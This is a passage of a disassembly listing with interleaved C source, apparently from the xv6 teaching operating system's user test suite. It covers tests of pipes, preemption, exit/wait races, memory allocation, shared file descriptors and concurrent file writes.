82f: 89 44 24 08 mov %eax,0x8(%esp)
833: c7 44 24 04 cc 44 00 movl $0x44cc,0x4(%esp)
83a: 00
83b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
842: e8 51 35 00 00 call 3d98 <printf>
exit();
847: e8 bc 33 00 00 call 3c08 <exit>
}
close(fds[0]);
84c: 8b 45 d8 mov -0x28(%ebp),%eax
84f: 89 04 24 mov %eax,(%esp)
852: e8 d9 33 00 00 call 3c30 <close>
wait();
857: e8 b4 33 00 00 call 3c10 <wait>
} else {
printf(1, "fork() failed\n");
exit();
}
printf(1, "pipe1 ok\n");
85c: c7 44 24 04 e3 44 00 movl $0x44e3,0x4(%esp)
863: 00
864: c7 04 24 01 00 00 00 movl $0x1,(%esp)
86b: e8 28 35 00 00 call 3d98 <printf>
870: eb 19 jmp 88b <pipe1+0x1e6>
exit();
}
close(fds[0]);
wait();
} else {
printf(1, "fork() failed\n");
872: c7 44 24 04 ed 44 00 movl $0x44ed,0x4(%esp)
879: 00
87a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
881: e8 12 35 00 00 call 3d98 <printf>
exit();
886: e8 7d 33 00 00 call 3c08 <exit>
}
printf(1, "pipe1 ok\n");
}
88b: c9 leave
88c: c3 ret
0000088d <preempt>:
// meant to be run w/ at most two CPUs
void
preempt(void)
{
88d: 55 push %ebp
88e: 89 e5 mov %esp,%ebp
890: 83 ec 38 sub $0x38,%esp
int pid1, pid2, pid3;
int pfds[2];
printf(1, "preempt: ");
893: c7 44 24 04 fc 44 00 movl $0x44fc,0x4(%esp)
89a: 00
89b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8a2: e8 f1 34 00 00 call 3d98 <printf>
pid1 = fork();
8a7: e8 54 33 00 00 call 3c00 <fork>
8ac: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid1 == 0)
8af: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8b3: 75 02 jne 8b7 <preempt+0x2a>
for(;;)
;
8b5: eb fe jmp 8b5 <preempt+0x28>
pid2 = fork();
8b7: e8 44 33 00 00 call 3c00 <fork>
8bc: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid2 == 0)
8bf: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8c3: 75 02 jne 8c7 <preempt+0x3a>
for(;;)
;
8c5: eb fe jmp 8c5 <preempt+0x38>
pipe(pfds);
8c7: 8d 45 e4 lea -0x1c(%ebp),%eax
8ca: 89 04 24 mov %eax,(%esp)
8cd: e8 46 33 00 00 call 3c18 <pipe>
pid3 = fork();
8d2: e8 29 33 00 00 call 3c00 <fork>
8d7: 89 45 ec mov %eax,-0x14(%ebp)
if(pid3 == 0){
8da: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8de: 75 4c jne 92c <preempt+0x9f>
close(pfds[0]);
8e0: 8b 45 e4 mov -0x1c(%ebp),%eax
8e3: 89 04 24 mov %eax,(%esp)
8e6: e8 45 33 00 00 call 3c30 <close>
if(write(pfds[1], "x", 1) != 1)
8eb: 8b 45 e8 mov -0x18(%ebp),%eax
8ee: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
8f5: 00
8f6: c7 44 24 04 06 45 00 movl $0x4506,0x4(%esp)
8fd: 00
8fe: 89 04 24 mov %eax,(%esp)
901: e8 22 33 00 00 call 3c28 <write>
906: 83 f8 01 cmp $0x1,%eax
909: 74 14 je 91f <preempt+0x92>
printf(1, "preempt write error");
90b: c7 44 24 04 08 45 00 movl $0x4508,0x4(%esp)
912: 00
913: c7 04 24 01 00 00 00 movl $0x1,(%esp)
91a: e8 79 34 00 00 call 3d98 <printf>
close(pfds[1]);
91f: 8b 45 e8 mov -0x18(%ebp),%eax
922: 89 04 24 mov %eax,(%esp)
925: e8 06 33 00 00 call 3c30 <close>
for(;;)
;
92a: eb fe jmp 92a <preempt+0x9d>
}
close(pfds[1]);
92c: 8b 45 e8 mov -0x18(%ebp),%eax
92f: 89 04 24 mov %eax,(%esp)
932: e8 f9 32 00 00 call 3c30 <close>
if(read(pfds[0], buf, sizeof(buf)) != 1){
937: 8b 45 e4 mov -0x1c(%ebp),%eax
93a: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
941: 00
942: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
949: 00
94a: 89 04 24 mov %eax,(%esp)
94d: e8 ce 32 00 00 call 3c20 <read>
952: 83 f8 01 cmp $0x1,%eax
955: 74 16 je 96d <preempt+0xe0>
printf(1, "preempt read error");
957: c7 44 24 04 1c 45 00 movl $0x451c,0x4(%esp)
95e: 00
95f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
966: e8 2d 34 00 00 call 3d98 <printf>
96b: eb 77 jmp 9e4 <preempt+0x157>
return;
}
close(pfds[0]);
96d: 8b 45 e4 mov -0x1c(%ebp),%eax
970: 89 04 24 mov %eax,(%esp)
973: e8 b8 32 00 00 call 3c30 <close>
printf(1, "kill... ");
978: c7 44 24 04 2f 45 00 movl $0x452f,0x4(%esp)
97f: 00
980: c7 04 24 01 00 00 00 movl $0x1,(%esp)
987: e8 0c 34 00 00 call 3d98 <printf>
kill(pid1);
98c: 8b 45 f4 mov -0xc(%ebp),%eax
98f: 89 04 24 mov %eax,(%esp)
992: e8 a1 32 00 00 call 3c38 <kill>
kill(pid2);
997: 8b 45 f0 mov -0x10(%ebp),%eax
99a: 89 04 24 mov %eax,(%esp)
99d: e8 96 32 00 00 call 3c38 <kill>
kill(pid3);
9a2: 8b 45 ec mov -0x14(%ebp),%eax
9a5: 89 04 24 mov %eax,(%esp)
9a8: e8 8b 32 00 00 call 3c38 <kill>
printf(1, "wait... ");
9ad: c7 44 24 04 38 45 00 movl $0x4538,0x4(%esp)
9b4: 00
9b5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
9bc: e8 d7 33 00 00 call 3d98 <printf>
wait();
9c1: e8 4a 32 00 00 call 3c10 <wait>
wait();
9c6: e8 45 32 00 00 call 3c10 <wait>
wait();
9cb: e8 40 32 00 00 call 3c10 <wait>
printf(1, "preempt ok\n");
9d0: c7 44 24 04 41 45 00 movl $0x4541,0x4(%esp)
9d7: 00
9d8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
9df: e8 b4 33 00 00 call 3d98 <printf>
}
9e4: c9 leave
9e5: c3 ret
000009e6 <exitwait>:
// try to find any races between exit and wait
void
exitwait(void)
{
9e6: 55 push %ebp
9e7: 89 e5 mov %esp,%ebp
9e9: 83 ec 28 sub $0x28,%esp
int i, pid;
for(i = 0; i < 100; i++){
9ec: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
9f3: eb 52 jmp a47 <exitwait+0x61>
pid = fork();
9f5: e8 06 32 00 00 call 3c00 <fork>
9fa: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0){
9fd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
a01: 79 16 jns a19 <exitwait+0x33>
printf(1, "fork failed\n");
a03: c7 44 24 04 4d 45 00 movl $0x454d,0x4(%esp)
a0a: 00
a0b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a12: e8 81 33 00 00 call 3d98 <printf>
return;
a17: eb 48 jmp a61 <exitwait+0x7b>
}
if(pid){
a19: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
a1d: 74 20 je a3f <exitwait+0x59>
if(wait() != pid){
a1f: e8 ec 31 00 00 call 3c10 <wait>
a24: 3b 45 f0 cmp -0x10(%ebp),%eax
a27: 74 1b je a44 <exitwait+0x5e>
printf(1, "wait wrong pid\n");
a29: c7 44 24 04 5a 45 00 movl $0x455a,0x4(%esp)
a30: 00
a31: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a38: e8 5b 33 00 00 call 3d98 <printf>
return;
a3d: eb 22 jmp a61 <exitwait+0x7b>
}
} else {
exit();
a3f: e8 c4 31 00 00 call 3c08 <exit>
void
exitwait(void)
{
int i, pid;
for(i = 0; i < 100; i++){
a44: ff 45 f4 incl -0xc(%ebp)
a47: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
a4b: 7e a8 jle 9f5 <exitwait+0xf>
}
} else {
exit();
}
}
printf(1, "exitwait ok\n");
a4d: c7 44 24 04 6a 45 00 movl $0x456a,0x4(%esp)
a54: 00
a55: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a5c: e8 37 33 00 00 call 3d98 <printf>
}
a61: c9 leave
a62: c3 ret
00000a63 <mem>:
void
mem(void)
{
a63: 55 push %ebp
a64: 89 e5 mov %esp,%ebp
a66: 83 ec 28 sub $0x28,%esp
void *m1, *m2;
int pid, ppid;
printf(1, "mem test\n");
a69: c7 44 24 04 77 45 00 movl $0x4577,0x4(%esp)
a70: 00
a71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a78: e8 1b 33 00 00 call 3d98 <printf>
ppid = getpid();
a7d: e8 06 32 00 00 call 3c88 <getpid>
a82: 89 45 f0 mov %eax,-0x10(%ebp)
if((pid = fork()) == 0){
a85: e8 76 31 00 00 call 3c00 <fork>
a8a: 89 45 ec mov %eax,-0x14(%ebp)
a8d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
a91: 0f 85 aa 00 00 00 jne b41 <mem+0xde>
m1 = 0;
a97: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while((m2 = malloc(10001)) != 0){
a9e: eb 0e jmp aae <mem+0x4b>
*(char**)m2 = m1;
aa0: 8b 45 e8 mov -0x18(%ebp),%eax
aa3: 8b 55 f4 mov -0xc(%ebp),%edx
aa6: 89 10 mov %edx,(%eax)
m1 = m2;
aa8: 8b 45 e8 mov -0x18(%ebp),%eax
aab: 89 45 f4 mov %eax,-0xc(%ebp)
printf(1, "mem test\n");
ppid = getpid();
if((pid = fork()) == 0){
m1 = 0;
while((m2 = malloc(10001)) != 0){
aae: c7 04 24 11 27 00 00 movl $0x2711,(%esp)
ab5: e8 c7 35 00 00 call 4081 <malloc>
aba: 89 45 e8 mov %eax,-0x18(%ebp)
abd: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
ac1: 75 dd jne aa0 <mem+0x3d>
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
ac3: eb 19 jmp ade <mem+0x7b>
m2 = *(char**)m1;
ac5: 8b 45 f4 mov -0xc(%ebp),%eax
ac8: 8b 00 mov (%eax),%eax
aca: 89 45 e8 mov %eax,-0x18(%ebp)
free(m1);
acd: 8b 45 f4 mov -0xc(%ebp),%eax
ad0: 89 04 24 mov %eax,(%esp)
ad3: e8 70 34 00 00 call 3f48 <free>
m1 = m2;
ad8: 8b 45 e8 mov -0x18(%ebp),%eax
adb: 89 45 f4 mov %eax,-0xc(%ebp)
m1 = 0;
while((m2 = malloc(10001)) != 0){
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
ade: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
ae2: 75 e1 jne ac5 <mem+0x62>
m2 = *(char**)m1;
free(m1);
m1 = m2;
}
m1 = malloc(1024*20);
ae4: c7 04 24 00 50 00 00 movl $0x5000,(%esp)
aeb: e8 91 35 00 00 call 4081 <malloc>
af0: 89 45 f4 mov %eax,-0xc(%ebp)
if(m1 == 0){
af3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
af7: 75 24 jne b1d <mem+0xba>
printf(1, "couldn't allocate mem?!!\n");
af9: c7 44 24 04 81 45 00 movl $0x4581,0x4(%esp)
b00: 00
b01: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b08: e8 8b 32 00 00 call 3d98 <printf>
kill(ppid);
b0d: 8b 45 f0 mov -0x10(%ebp),%eax
b10: 89 04 24 mov %eax,(%esp)
b13: e8 20 31 00 00 call 3c38 <kill>
exit();
b18: e8 eb 30 00 00 call 3c08 <exit>
}
free(m1);
b1d: 8b 45 f4 mov -0xc(%ebp),%eax
b20: 89 04 24 mov %eax,(%esp)
b23: e8 20 34 00 00 call 3f48 <free>
printf(1, "mem ok\n");
b28: c7 44 24 04 9b 45 00 movl $0x459b,0x4(%esp)
b2f: 00
b30: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b37: e8 5c 32 00 00 call 3d98 <printf>
exit();
b3c: e8 c7 30 00 00 call 3c08 <exit>
} else {
wait();
b41: e8 ca 30 00 00 call 3c10 <wait>
}
}
b46: c9 leave
b47: c3 ret
00000b48 <sharedfd>:
// two processes write to the same file descriptor
// is the offset shared? does inode locking work?
void
sharedfd(void)
{
b48: 55 push %ebp
b49: 89 e5 mov %esp,%ebp
b4b: 83 ec 48 sub $0x48,%esp
int fd, pid, i, n, nc, np;
char buf[10];
printf(1, "sharedfd test\n");
b4e: c7 44 24 04 a3 45 00 movl $0x45a3,0x4(%esp)
b55: 00
b56: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b5d: e8 36 32 00 00 call 3d98 <printf>
unlink("sharedfd");
b62: c7 04 24 b2 45 00 00 movl $0x45b2,(%esp)
b69: e8 ea 30 00 00 call 3c58 <unlink>
fd = open("sharedfd", O_CREATE|O_RDWR);
b6e: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
b75: 00
b76: c7 04 24 b2 45 00 00 movl $0x45b2,(%esp)
b7d: e8 c6 30 00 00 call 3c48 <open>
b82: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
b85: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
b89: 79 19 jns ba4 <sharedfd+0x5c>
printf(1, "fstests: cannot open sharedfd for writing");
b8b: c7 44 24 04 bc 45 00 movl $0x45bc,0x4(%esp)
b92: 00
b93: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b9a: e8 f9 31 00 00 call 3d98 <printf>
b9f: e9 9a 01 00 00 jmp d3e <sharedfd+0x1f6>
return;
}
pid = fork();
ba4: e8 57 30 00 00 call 3c00 <fork>
ba9: 89 45 e4 mov %eax,-0x1c(%ebp)
memset(buf, pid==0?'c':'p', sizeof(buf));
bac: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
bb0: 75 07 jne bb9 <sharedfd+0x71>
bb2: b8 63 00 00 00 mov $0x63,%eax
bb7: eb 05 jmp bbe <sharedfd+0x76>
bb9: b8 70 00 00 00 mov $0x70,%eax
bbe: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
bc5: 00
bc6: 89 44 24 04 mov %eax,0x4(%esp)
bca: 8d 45 d6 lea -0x2a(%ebp),%eax
bcd: 89 04 24 mov %eax,(%esp)
bd0: e8 9b 2e 00 00 call 3a70 <memset>
for(i = 0; i < 1000; i++){
bd5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
bdc: eb 38 jmp c16 <sharedfd+0xce>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
bde: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
be5: 00
be6: 8d 45 d6 lea -0x2a(%ebp),%eax
be9: 89 44 24 04 mov %eax,0x4(%esp)
bed: 8b 45 e8 mov -0x18(%ebp),%eax
bf0: 89 04 24 mov %eax,(%esp)
bf3: e8 30 30 00 00 call 3c28 <write>
bf8: 83 f8 0a cmp $0xa,%eax
bfb: 74 16 je c13 <sharedfd+0xcb>
printf(1, "fstests: write sharedfd failed\n");
bfd: c7 44 24 04 e8 45 00 movl $0x45e8,0x4(%esp)
c04: 00
c05: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c0c: e8 87 31 00 00 call 3d98 <printf>
break;
c11: eb 0c jmp c1f <sharedfd+0xd7>
printf(1, "fstests: cannot open sharedfd for writing");
return;
}
pid = fork();
memset(buf, pid==0?'c':'p', sizeof(buf));
for(i = 0; i < 1000; i++){
c13: ff 45 f4 incl -0xc(%ebp)
c16: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
c1d: 7e bf jle bde <sharedfd+0x96>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
printf(1, "fstests: write sharedfd failed\n");
break;
}
}
if(pid == 0)
c1f: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
c23: 75 05 jne c2a <sharedfd+0xe2>
exit();
c25: e8 de 2f 00 00 call 3c08 <exit>
else
wait();
c2a: e8 e1 2f 00 00 call 3c10 <wait>
close(fd);
c2f: 8b 45 e8 mov -0x18(%ebp),%eax
c32: 89 04 24 mov %eax,(%esp)
c35: e8 f6 2f 00 00 call 3c30 <close>
fd = open("sharedfd", 0);
c3a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
c41: 00
c42: c7 04 24 b2 45 00 00 movl $0x45b2,(%esp)
c49: e8 fa 2f 00 00 call 3c48 <open>
c4e: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
c51: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
c55: 79 19 jns c70 <sharedfd+0x128>
printf(1, "fstests: cannot open sharedfd for reading\n");
c57: c7 44 24 04 08 46 00 movl $0x4608,0x4(%esp)
c5e: 00
c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c66: e8 2d 31 00 00 call 3d98 <printf>
c6b: e9 ce 00 00 00 jmp d3e <sharedfd+0x1f6>
return;
}
nc = np = 0;
c70: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
c77: 8b 45 ec mov -0x14(%ebp),%eax
c7a: 89 45 f0 mov %eax,-0x10(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
c7d: eb 36 jmp cb5 <sharedfd+0x16d>
for(i = 0; i < sizeof(buf); i++){
c7f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
c86: eb 25 jmp cad <sharedfd+0x165>
if(buf[i] == 'c')
c88: 8d 55 d6 lea -0x2a(%ebp),%edx
c8b: 8b 45 f4 mov -0xc(%ebp),%eax
c8e: 01 d0 add %edx,%eax
c90: 8a 00 mov (%eax),%al
c92: 3c 63 cmp $0x63,%al
c94: 75 03 jne c99 <sharedfd+0x151>
nc++;
c96: ff 45 f0 incl -0x10(%ebp)
if(buf[i] == 'p')
c99: 8d 55 d6 lea -0x2a(%ebp),%edx
c9c: 8b 45 f4 mov -0xc(%ebp),%eax
c9f: 01 d0 add %edx,%eax
ca1: 8a 00 mov (%eax),%al
ca3: 3c 70 cmp $0x70,%al
ca5: 75 03 jne caa <sharedfd+0x162>
np++;
ca7: ff 45 ec incl -0x14(%ebp)
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(i = 0; i < sizeof(buf); i++){
caa: ff 45 f4 incl -0xc(%ebp)
cad: 8b 45 f4 mov -0xc(%ebp),%eax
cb0: 83 f8 09 cmp $0x9,%eax
cb3: 76 d3 jbe c88 <sharedfd+0x140>
if(fd < 0){
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
cb5: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
cbc: 00
cbd: 8d 45 d6 lea -0x2a(%ebp),%eax
cc0: 89 44 24 04 mov %eax,0x4(%esp)
cc4: 8b 45 e8 mov -0x18(%ebp),%eax
cc7: 89 04 24 mov %eax,(%esp)
cca: e8 51 2f 00 00 call 3c20 <read>
ccf: 89 45 e0 mov %eax,-0x20(%ebp)
cd2: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
cd6: 7f a7 jg c7f <sharedfd+0x137>
nc++;
if(buf[i] == 'p')
np++;
}
}
close(fd);
cd8: 8b 45 e8 mov -0x18(%ebp),%eax
cdb: 89 04 24 mov %eax,(%esp)
cde: e8 4d 2f 00 00 call 3c30 <close>
unlink("sharedfd");
ce3: c7 04 24 b2 45 00 00 movl $0x45b2,(%esp)
cea: e8 69 2f 00 00 call 3c58 <unlink>
if(nc == 10000 && np == 10000){
cef: 81 7d f0 10 27 00 00 cmpl $0x2710,-0x10(%ebp)
cf6: 75 1f jne d17 <sharedfd+0x1cf>
cf8: 81 7d ec 10 27 00 00 cmpl $0x2710,-0x14(%ebp)
cff: 75 16 jne d17 <sharedfd+0x1cf>
printf(1, "sharedfd ok\n");
d01: c7 44 24 04 33 46 00 movl $0x4633,0x4(%esp)
d08: 00
d09: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d10: e8 83 30 00 00 call 3d98 <printf>
d15: eb 27 jmp d3e <sharedfd+0x1f6>
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
d17: 8b 45 ec mov -0x14(%ebp),%eax
d1a: 89 44 24 0c mov %eax,0xc(%esp)
d1e: 8b 45 f0 mov -0x10(%ebp),%eax
d21: 89 44 24 08 mov %eax,0x8(%esp)
d25: c7 44 24 04 40 46 00 movl $0x4640,0x4(%esp)
d2c: 00
d2d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d34: e8 5f 30 00 00 call 3d98 <printf>
exit();
d39: e8 ca 2e 00 00 call 3c08 <exit>
}
}
d3e: c9 leave
d3f: c3 ret
00000d40 <twofiles>:
// two processes write two different files at the same
// time, to test block allocation.
void
twofiles(void)
{
d40: 55 push %ebp
d41: 89 e5 mov %esp,%ebp
d43: 83 ec 38 sub $0x38,%esp
int fd, pid, i, j, n, total;
char *fname;
printf(1, "twofiles test\n");
d46: c7 44 24 04 55 46 00 movl $0x4655,0x4(%esp)
d4d: 00
d4e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d55: e8 3e 30 00 00 call 3d98 <printf>
unlink("f1");
d5a: c7 04 24 64 46 00 00 movl $0x4664,(%esp)
d61: e8 f2 2e 00 00 call 3c58 <unlink>
unlink("f2");
d66: c7 04 24 67 46 00 00 movl $0x4667,(%esp)
d6d: e8 e6 2e 00 00 call 3c58 <unlink>
pid = fork();
d72: e8 89 2e 00 00 call 3c00 <fork>
d77: 89 45 e8 mov %eax,-0x18(%ebp)
if(pid < 0){
d7a: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
d7e: 79 19 jns d99 <twofiles+0x59>
printf(1, "fork failed\n");
d80: c7 44 24 04 4d 45 00 movl $0x454d,0x4(%esp)
d87: 00
d88: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d8f: e8 04 30 00 00 call 3d98 <printf>
exit();
d94: e8 6f 2e 00 00 call 3c08 <exit>
}
fname = pid ? "f1" : "f2";
d99: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
d9d: 74 07 je da6 <twofiles+0x66>
d9f: b8 64 46 00 00 mov $0x4664,%eax
da4: eb 05 jmp dab <twofiles+0x6b>
da6: b8 67 46 00 00 mov $0x4667,%eax
dab: 89 45 e4 mov %eax,-0x1c(%ebp)
fd = open(fname, O_CREATE | O_RDWR);
dae: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
db5: 00
db6: 8b 45 e4 mov -0x1c(%ebp),%eax
db9: 89 04 24 mov %eax,(%esp)
dbc: e8 87 2e 00 00 call 3c48 <open>
dc1: 89 45 e0 mov %eax,-0x20(%ebp)
if(fd < 0){
dc4: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
dc8: 79 19 jns de3 <twofiles+0xa3>
printf(1, "create failed\n");
dca: c7 44 24 04 6a 46 00 movl $0x466a,0x4(%esp)
dd1: 00
dd2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
dd9: e8 ba 2f 00 00 call 3d98 <printf>
exit();
dde: e8 25 2e 00 00 call 3c08 <exit>
}
memset(buf, pid?'p':'c', 512);
de3: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
de7: 74 07 je df0 <twofiles+0xb0>
de9: b8 70 00 00 00 mov $0x70,%eax
dee: eb 05 jmp df5 <twofiles+0xb5>
df0: b8 63 00 00 00 mov $0x63,%eax
df5: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
dfc: 00
dfd: 89 44 24 04 mov %eax,0x4(%esp)
e01: c7 04 24 a0 86 00 00 movl $0x86a0,(%esp)
e08: e8 63 2c 00 00 call 3a70 <memset>
for(i = 0; i < 12; i++){
e0d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
e14: eb 4a jmp e60 <twofiles+0x120>
if((n = write(fd, buf, 500)) != 500){
e16: c7 44 24 08 f4 01 00 movl $0x1f4,0x8(%esp)
e1d: 00
e1e: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
e25: 00
e26: 8b 45 e0 mov -0x20(%ebp),%eax
e29: 89 04 24 mov %eax,(%esp)
e2c: e8 f7 2d 00 00 call 3c28 <write>
e31: 89 45 dc mov %eax,-0x24(%ebp)
e34: 81 7d dc f4 01 00 00 cmpl $0x1f4,-0x24(%ebp)
e3b: 74 20 je e5d <twofiles+0x11d>
printf(1, "write failed %d\n", n);
e3d: 8b 45 dc mov -0x24(%ebp),%eax
e40: 89 44 24 08 mov %eax,0x8(%esp)
e44: c7 44 24 04 79 46 00 movl $0x4679,0x4(%esp)
e4b: 00
e4c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e53: e8 40 2f 00 00 call 3d98 <printf>
exit();
e58: e8 ab 2d 00 00 call 3c08 <exit>
printf(1, "create failed\n");
exit();
}
memset(buf, pid?'p':'c', 512);
for(i = 0; i < 12; i++){
e5d: ff 45 f4 incl -0xc(%ebp)
e60: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
e64: 7e b0 jle e16 <twofiles+0xd6>
if((n = write(fd, buf, 500)) != 500){
printf(1, "write failed %d\n", n);
exit();
}
}
close(fd);
e66: 8b 45 e0 mov -0x20(%ebp),%eax
e69: 89 04 24 mov %eax,(%esp)
e6c: e8 bf 2d 00 00 call 3c30 <close>
if(pid)
e71: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
e75: 74 11 je e88 <twofiles+0x148>
wait();
e77: e8 94 2d 00 00 call 3c10 <wait>
else
exit();
for(i = 0; i < 2; i++){
e7c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
e83: e9 e4 00 00 00 jmp f6c <twofiles+0x22c>
}
close(fd);
if(pid)
wait();
else
exit();
e88: e8 7b 2d 00 00 call 3c08 <exit>
for(i = 0; i < 2; i++){
fd = open(i?"f1":"f2", 0);
e8d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
e91: 74 07 je e9a <twofiles+0x15a>
e93: b8 64 46 00 00 mov $0x4664,%eax
e98: eb 05 jmp e9f <twofiles+0x15f>
e9a: b8 67 46 00 00 mov $0x4667,%eax
e9f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
ea6: 00
ea7: 89 04 24 mov %eax,(%esp)
eaa: e8 99 2d 00 00 call 3c48 <open>
eaf: 89 45 e0 mov %eax,-0x20(%ebp)
total = 0;
eb2: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
eb9: eb 56 jmp f11 <twofiles+0x1d1>
for(j = 0; j < n; j++){
ebb: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ec2: eb 3f jmp f03 <twofiles+0x1c3>
if(buf[j] != (i?'p':'c')){
ec4: 8b 45 f0 mov -0x10(%ebp),%eax
ec7: 05 a0 86 00 00 add $0x86a0,%eax
ecc: 8a 00 mov (%eax),%al
ece: 0f be d0 movsbl %al,%edx
ed1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
ed5: 74 07 je ede <twofiles+0x19e>
ed7: b8 70 00 00 00 mov $0x70,%eax
edc: eb 05 jmp ee3 <twofiles+0x1a3>
ede: b8 63 00 00 00 mov $0x63,%eax
ee3: 39 c2 cmp %eax,%edx
ee5: 74 19 je f00 <twofiles+0x1c0>
printf(1, "wrong char\n");
ee7: c7 44 24 04 8a 46 00 movl $0x468a,0x4(%esp)
eee: 00
eef: c7 04 24 01 00 00 00 movl $0x1,(%esp)
ef6: e8 9d 2e 00 00 call 3d98 <printf>
exit();
efb: e8 08 2d 00 00 call 3c08 <exit>
for(i = 0; i < 2; i++){
fd = open(i?"f1":"f2", 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(j = 0; j < n; j++){
f00: ff 45 f0 incl -0x10(%ebp)
f03: 8b 45 f0 mov -0x10(%ebp),%eax
f06: 3b 45 dc cmp -0x24(%ebp),%eax
f09: 7c b9 jl ec4 <twofiles+0x184>
if(buf[j] != (i?'p':'c')){
printf(1, "wrong char\n");
exit();
}
}
total += n;
f0b: 8b 45 dc mov -0x24(%ebp),%eax
f0e: 01 45 ec add %eax,-0x14(%ebp)
exit();
for(i = 0; i < 2; i++){
fd = open(i?"f1":"f2", 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
f11: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
f18: 00
f19: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
f20: 00
f21: 8b 45 e0 mov -0x20(%ebp),%eax
f24: 89 04 24 mov %eax,(%esp)
f27: e8 f4 2c 00 00 call 3c20 <read>
f2c: 89 45 dc mov %eax,-0x24(%ebp)
f2f: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
f33: 7f 86 jg ebb <twofiles+0x17b>
exit();
}
}
total += n;
}
close(fd);
f35: 8b 45 e0 mov -0x20(%ebp),%eax
f38: 89 04 24 mov %eax,(%esp)
f3b: e8 f0 2c 00 00 call 3c30 <close>
if(total != 12*500){
f40: 81 7d ec 70 17 00 00 cmpl $0x1770,-0x14(%ebp)
f47: 74 20 je f69 <twofiles+0x229>
printf(1, "wrong length %d\n", total);
f49: 8b 45 ec mov -0x14(%ebp),%eax
f4c: 89 44 24 08 mov %eax,0x8(%esp)
f50: c7 44 24 04 96 46 00 movl $0x4696,0x4(%esp)
f57: 00
f58: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f5f: e8 34 2e 00 00 call 3d98 <printf>
exit();
